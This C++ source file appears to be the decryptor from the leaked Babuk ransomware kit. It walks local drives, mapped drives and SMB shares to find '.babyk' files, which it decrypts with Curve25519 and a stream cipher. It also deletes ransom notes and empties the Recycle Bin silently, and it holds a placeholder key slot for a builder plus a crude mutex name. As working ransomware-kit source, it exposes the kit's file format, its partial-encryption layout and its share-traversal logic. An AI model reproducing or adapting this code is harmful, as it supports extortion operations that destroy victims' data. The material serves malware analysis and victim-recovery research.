398 lines
15 KiB
C++
398 lines
15 KiB
C++
#include <Windows.h>
|
|
#include <TlHelp32.h>
|
|
#include <RestartManager.h>
|
|
#include <Wbemprov.h>
|
|
#include <iphlpapi.h>
|
|
#include <icmpapi.h>
|
|
#include <lm.h>
|
|
|
|
#include "hash/crc32.h"
|
|
#include "hash/sha512.h"
|
|
#include "eSTREAM/ecrypt-sync.h"
|
|
#include "ecc/curve25519-donna.h"
|
|
|
|
#include "memory.h"
|
|
#include "queue.h"
|
|
#include "args.h"
|
|
|
|
#pragma comment(lib, "iphlpapi.lib")
|
|
#pragma comment(lib, "netapi32.lib")
|
|
#pragma comment(lib, "wbemuuid.lib")
|
|
#pragma comment(lib, "rstrtmgr.lib")
|
|
#pragma comment(lib, "crypt32.lib")
|
|
#pragma comment(lib, "mpr.lib")
|
|
|
|
#pragma comment(linker, "/ENTRY:entry")
|
|
#pragma comment(linker, "/MERGE:.rdata=.text")
|
|
|
|
#define NOTE_FILE_NAME L"How To Restore Your Files.txt"
|
|
|
|
static const WCHAR* black[] = { L"Windows", L"Windows.old", L"Tor Browser", L"Internet Explorer", L"Google", L"Opera", L"Opera Software", L"Mozilla", L"Mozilla Firefox", L"$Recycle.Bin", L"ProgramData", L"All Users", L"autorun.inf", L"boot.ini", L"bootfont.bin", L"bootsect.bak", L"bootmgr", L"bootmgr.efi", L"bootmgfw.efi", L"desktop.ini", L"iconcache.db", L"ntldr", L"ntuser.dat", L"ntuser.dat.log", L"ntuser.ini", L"thumbs.db", L"ecdh_pub_k.bin", L"Program Files", L"Program Files (x86)", L"..", L"." };
|
|
|
|
static BYTE m_priv[32] = {
|
|
'c', 'u', 'r', 'v', 'p', 'a', 't', 't', 'e', 'r', 'n', 0x00,
|
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
|
};
|
|
|
|
#define VERSION_MUTEX "DoYouWantToHaveSexWithCoungDong"
|
|
|
|
#define CONST_BLOCK_PLUS 0x100000
|
|
#define CONST_BLOCK_MINUS -CONST_BLOCK_PLUS
|
|
|
|
#define CONST_LARGE_FILE 0x1400000
|
|
#define CONST_MEDIUM_FILE 0x500000
|
|
|
|
struct BABUK_KEYS {
|
|
BYTE enc_key[32];
|
|
BYTE enc_vec[32];
|
|
};
|
|
|
|
struct BABUK_FILEMETA {
|
|
BYTE curve25519_pub[32];
|
|
DWORD xcrc32_hash;
|
|
LONGLONG flag1;
|
|
LONGLONG flag2;
|
|
LONGLONG flag3;
|
|
LONGLONG flag4;
|
|
};
|
|
|
|
void _decrypt_file(WCHAR* filePath) {
|
|
LARGE_INTEGER fileSize;
|
|
LARGE_INTEGER fileOffset;
|
|
LARGE_INTEGER fileChunks;
|
|
|
|
|
|
|
|
if (WCHAR* newName = (WCHAR*)_halloc(32768 * sizeof(WCHAR))) {
|
|
lstrcpyW(newName, filePath);
|
|
(newName + (lstrlenW(filePath) - 6))[0] = L'\0';
|
|
MoveFileExW(filePath, newName, MOVEFILE_WRITE_THROUGH | MOVEFILE_REPLACE_EXISTING);
|
|
|
|
fileOffset.QuadPart = 0;
|
|
HANDLE hFile = CreateFileW(newName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
|
|
_hfree(newName);
|
|
|
|
DWORD dwRead;
|
|
DWORD dwWrite;
|
|
|
|
BABUK_KEYS babuk_keys;
|
|
BABUK_FILEMETA babuk_meta;
|
|
|
|
ECRYPT_ctx ctx;
|
|
|
|
if (hFile != INVALID_HANDLE_VALUE) {
|
|
rescan:;
|
|
BYTE dhsc[32];
|
|
GetFileSizeEx(hFile, &fileSize);
|
|
if (fileSize.QuadPart > (LONGLONG)sizeof(BABUK_FILEMETA)) {
|
|
if (BYTE* ioBuffer = (BYTE*)_halloc(CONST_BLOCK_PLUS)) {
|
|
fileOffset.QuadPart = fileSize.QuadPart - sizeof(BABUK_FILEMETA);
|
|
SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
|
|
ReadFile(hFile, (BYTE*)&babuk_meta, sizeof(BABUK_FILEMETA), &dwRead, 0);
|
|
|
|
if (
|
|
babuk_meta.flag1 == 0x6420676e756f6863 && babuk_meta.flag2 == 0x6b6f6f6c20676e6f &&
|
|
babuk_meta.flag3 == 0x6820656b696c2073 && babuk_meta.flag4 == 0x2121676f6420746f
|
|
) {
|
|
fileSize.QuadPart -= sizeof(BABUK_FILEMETA);
|
|
|
|
curve25519_donna(dhsc, (u8*)m_priv, babuk_meta.curve25519_pub);
|
|
SHA512_Simple(dhsc, 32, (BYTE*)&babuk_keys);
|
|
if (babuk_meta.xcrc32_hash == xcrc32((BYTE*)&babuk_keys, sizeof(BABUK_KEYS))) {
|
|
SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
|
|
SetEndOfFile(hFile);
|
|
|
|
ECRYPT_keysetup(&ctx, babuk_keys.enc_key, 256, 256);
|
|
ECRYPT_ivsetup(&ctx, babuk_keys.enc_vec);
|
|
|
|
fileOffset.QuadPart = 0;
|
|
SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
|
|
if (fileSize.QuadPart > CONST_LARGE_FILE) {
|
|
fileChunks.QuadPart = fileSize.QuadPart / 0xA00000i64;
|
|
for (LONGLONG i = 0; i < fileChunks.QuadPart; i++) {
|
|
ReadFile(hFile, ioBuffer, CONST_BLOCK_PLUS, &dwRead, 0);
|
|
ECRYPT_process_bytes(0, &ctx, ioBuffer, ioBuffer, dwRead);
|
|
SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
|
|
WriteFile(hFile, ioBuffer, CONST_BLOCK_PLUS, &dwWrite, 0);
|
|
|
|
fileOffset.QuadPart += 0xA00000i64;
|
|
SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
|
|
}
|
|
}
|
|
else if (fileSize.QuadPart > CONST_MEDIUM_FILE) {
|
|
LONGLONG jump = fileSize.QuadPart / 3;
|
|
|
|
for (LONGLONG i = 0; i < 3; i++) {
|
|
ReadFile(hFile, ioBuffer, CONST_BLOCK_PLUS, &dwRead, 0);
|
|
ECRYPT_process_bytes(0, &ctx, ioBuffer, ioBuffer, dwRead);
|
|
SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
|
|
WriteFile(hFile, ioBuffer, dwRead, &dwWrite, 0);
|
|
|
|
fileOffset.QuadPart += jump;
|
|
SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
|
|
}
|
|
}
|
|
else if (fileSize.QuadPart > 0) {
|
|
LONGLONG block_size = fileSize.QuadPart > 64 ? fileSize.QuadPart / 10 : fileSize.QuadPart;
|
|
|
|
ReadFile(hFile, ioBuffer, block_size, &dwRead, 0);
|
|
ECRYPT_process_bytes(0, &ctx, ioBuffer, ioBuffer, dwRead);
|
|
SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
|
|
WriteFile(hFile, ioBuffer, dwRead, &dwWrite, 0);
|
|
}
|
|
|
|
goto rescan;
|
|
}
|
|
else {
|
|
MessageBoxW(0, filePath, L"Key broken!", 0);
|
|
}
|
|
}
|
|
_hfree(ioBuffer);
|
|
}
|
|
}
|
|
CloseHandle(hFile);
|
|
}
|
|
}
|
|
}
|
|
|
|
DWORD WINAPI lilBabuk(LPVOID lpData) {
|
|
while (WCHAR* file = _que_pop()) {
|
|
_decrypt_file(file);
|
|
_hfree(file);
|
|
}
|
|
ExitThread(0);
|
|
}
|
|
|
|
void find_files_recursive(LPCWSTR dirPath)
|
|
{
|
|
DWORD dwO;
|
|
if (WCHAR* localDir = (WCHAR*)_halloc(32768 * sizeof(WCHAR)))
|
|
{
|
|
WIN32_FIND_DATAW fd;
|
|
lstrcpyW(localDir, dirPath);
|
|
lstrcatW(localDir, L"\\*");
|
|
HANDLE hIter = FindFirstFileW(localDir, &fd);
|
|
if (hIter != INVALID_HANDLE_VALUE)
|
|
{
|
|
do
|
|
{
|
|
for (DWORD i = 0; i < _countof(black); ++i) {
|
|
if (!lstrcmpiW(fd.cFileName, black[i])) {
|
|
goto skip;
|
|
}
|
|
}
|
|
|
|
lstrcpyW(localDir, dirPath);
|
|
lstrcatW(localDir, L"\\");
|
|
lstrcatW(localDir, fd.cFileName);
|
|
|
|
if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
|
|
{
|
|
find_files_recursive(localDir);
|
|
}
|
|
else {
|
|
for (int i = lstrlenW(fd.cFileName) - 1; i >= 0; i--) {
|
|
if (fd.cFileName[i] == L'.') {
|
|
if (lstrcmpiW(fd.cFileName + i, L".babyk") == 0) {
|
|
_que_push(localDir);
|
|
}
|
|
else goto skip;
|
|
}
|
|
}
|
|
}
|
|
skip:;
|
|
} while (FindNextFileW(hIter, &fd));
|
|
FindClose(hIter);
|
|
lstrcpyW(localDir, dirPath);
|
|
lstrcatW(localDir, L"\\" NOTE_FILE_NAME);
|
|
|
|
DeleteFileW(localDir);
|
|
}
|
|
_hfree(localDir);
|
|
}
|
|
}
|
|
|
|
void find_files_network(LPNETRESOURCEW netRes)
|
|
{
|
|
HANDLE hEnum;
|
|
DWORD dwEntries = -1;
|
|
DWORD cbBuffer = 1024 * 16;
|
|
if (WNetOpenEnumW(RESOURCE_GLOBALNET, RESOURCETYPE_ANY, RESOURCEUSAGE_ALL, netRes, &hEnum) == NO_ERROR)
|
|
{
|
|
if (netRes = (LPNETRESOURCEW)_halloc(cbBuffer))
|
|
{
|
|
while (WNetEnumResourceW(hEnum, &dwEntries, netRes, &cbBuffer) == NO_ERROR)
|
|
{
|
|
for (DWORD i = 0; i < dwEntries; ++i)
|
|
{
|
|
if ((netRes[i].dwUsage & RESOURCEUSAGE_CONTAINER) == RESOURCEUSAGE_CONTAINER)
|
|
find_files_network(&netRes[i]);
|
|
else {
|
|
find_files_recursive(netRes[i].lpRemoteName);
|
|
}
|
|
}
|
|
}
|
|
_hfree(netRes);
|
|
}
|
|
WNetCloseEnum(hEnum);
|
|
}
|
|
}
|
|
|
|
void enum_shares(LPCWSTR addr) {
|
|
PSHARE_INFO_1 BufPtr, p;
|
|
NET_API_STATUS res;
|
|
DWORD er = 0, tr = 0, resume = 0, i;
|
|
WCHAR unc[100];
|
|
|
|
do
|
|
{
|
|
res = NetShareEnum((LPWSTR)addr, 1, (LPBYTE*)&BufPtr, MAX_PREFERRED_LENGTH, &er, &tr, &resume);
|
|
if (res == ERROR_SUCCESS || res == ERROR_MORE_DATA)
|
|
{
|
|
p = BufPtr;
|
|
for (i = 1; i <= er; i++)
|
|
{
|
|
if (p->shi1_type == STYPE_DISKTREE || p->shi1_type == STYPE_SPECIAL) {
|
|
if (lstrlenW(p->shi1_netname) > 2 && lstrcmpW(p->shi1_netname, L"ADMIN$") != 0) {
|
|
lstrcpyW(unc, L"\\\\");
|
|
lstrcatW(unc, addr);
|
|
lstrcatW(unc, L"\\");
|
|
lstrcatW(unc, p->shi1_netname);
|
|
find_files_recursive(unc);
|
|
}
|
|
}
|
|
p++;
|
|
}
|
|
NetApiBufferFree(BufPtr);
|
|
}
|
|
} while (res == ERROR_MORE_DATA);
|
|
}
|
|
|
|
void entry() {
|
|
MessageBoxA(0, "Press 'OK' to start decryption process!", 0, 0);
|
|
int argc = 0;
|
|
LPWSTR* argv = CommandLineToArgvW(GetCommandLineW(), &argc);
|
|
|
|
HANDLE hMutex = OpenMutexA(MUTEX_ALL_ACCESS, 0, VERSION_MUTEX);
|
|
if (!hMutex) hMutex = CreateMutexA(0, 0, VERSION_MUTEX);
|
|
else ExitProcess(0);
|
|
|
|
SetProcessShutdownParameters(0, 0);
|
|
|
|
_mem_initialize();
|
|
ECRYPT_init();
|
|
|
|
if (WCHAR* testfile = argz_value(argc, argv, L"testfile")) {
|
|
_decrypt_file(testfile);
|
|
ExitProcess(0);
|
|
}
|
|
|
|
SHEmptyRecycleBinA(0, 0, SHERB_NOCONFIRMATION | SHERB_NOPROGRESSUI | SHERB_NOSOUND);
|
|
|
|
SYSTEM_INFO lcSysInfo;
|
|
GetSystemInfo(&lcSysInfo);
|
|
DWORD dwThreads = lcSysInfo.dwNumberOfProcessors * 2;
|
|
_que_initialize(lcSysInfo.dwNumberOfProcessors * 3);
|
|
|
|
WCHAR* lanPos = argz_value(argc, argv, L"lan");
|
|
LPNETRESOURCEW lpRes = 0;
|
|
if (HANDLE* hThreads = (HANDLE*)_halloc(dwThreads * sizeof(HANDLE))) {
|
|
for (int i = 0; i < dwThreads; i++) {
|
|
hThreads[i] = CreateThread(0, 0, lilBabuk, 0, 0, 0);
|
|
}
|
|
|
|
if (WCHAR* shares = argz_value(argc, argv, L"shares")) {
|
|
int count = 1;
|
|
int len = lstrlenW(shares);
|
|
for (int i = 0; i < len; i++) {
|
|
if (shares[i] == L',') {
|
|
shares[i] = L'\0';
|
|
count++;
|
|
}
|
|
}
|
|
do {
|
|
WCHAR* share = (WCHAR*)_halloc(sizeof(WCHAR) * (lstrlenW(shares) + 1));
|
|
lstrcpyW(share, shares);
|
|
enum_shares(share);
|
|
_hfree(share);
|
|
|
|
shares += lstrlenW(shares) + 1;
|
|
} while (--count);
|
|
}
|
|
|
|
if (WCHAR* paths = argz_value(argc, argv, L"paths")) {
|
|
int count = 1;
|
|
int len = lstrlenW(paths);
|
|
for (int i = 0; i < len; i++) {
|
|
if (paths[i] == L',') {
|
|
paths[i] = L'\0';
|
|
count++;
|
|
}
|
|
}
|
|
do {
|
|
WCHAR* path = (WCHAR*)_halloc(sizeof(WCHAR) * (lstrlenW(paths) + 1));
|
|
lstrcpyW(path, paths);
|
|
find_files_recursive(path);
|
|
_hfree(path);
|
|
|
|
paths += lstrlenW(paths) + 1;
|
|
} while (--count);
|
|
}
|
|
|
|
if (lstrcmpW(lanPos, L"before") == 0) {
|
|
find_files_network(lpRes);
|
|
}
|
|
|
|
if (DWORD dwDrives = GetLogicalDrives()) {
|
|
for (WCHAR disk = L'A'; disk <= L'Z'; ++disk)
|
|
{
|
|
if (dwDrives & 1)
|
|
{
|
|
if (WCHAR* driveBuffer = (WCHAR*)_halloc(7 * sizeof(WCHAR))) {
|
|
lstrcpyW(driveBuffer, L"\\\\?\\");
|
|
lstrcpyW(driveBuffer + 5, L":");
|
|
driveBuffer[4] = disk;
|
|
|
|
if (DWORD driveType = GetDriveTypeW(driveBuffer)) {
|
|
if (driveType != DRIVE_CDROM) {
|
|
if (driveType != DRIVE_REMOTE) {
|
|
find_files_recursive(driveBuffer);
|
|
}
|
|
else {
|
|
DWORD remoteDrvSize = 260;
|
|
if (WCHAR* remoteDrv = (WCHAR*)_halloc(remoteDrvSize * sizeof(WCHAR)))
|
|
{
|
|
if (WNetGetConnectionW(&driveBuffer[4], remoteDrv, &remoteDrvSize) == NO_ERROR) {
|
|
find_files_recursive(remoteDrv);
|
|
_hfree(remoteDrv);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
_hfree(driveBuffer);
|
|
}
|
|
}
|
|
dwDrives >>= 1;
|
|
}
|
|
}
|
|
|
|
if (lstrcmpW(lanPos, L"after") == 0 || lanPos == 0) {
|
|
find_files_network(lpRes);
|
|
}
|
|
|
|
for (int i = 0; i < dwThreads; i++) {
|
|
_que_push(0);
|
|
}
|
|
WaitForMultipleObjects(dwThreads, hThreads, TRUE, INFINITE);
|
|
for (int i = 0; i < dwThreads; i++) {
|
|
CloseHandle(hThreads[i]);
|
|
}
|
|
|
|
_hfree(hThreads);
|
|
}
|
|
|
|
MessageBoxA(0, "Your files decrypted, bye!", 0, 0);
|
|
ExitProcess(0);
|
|
} |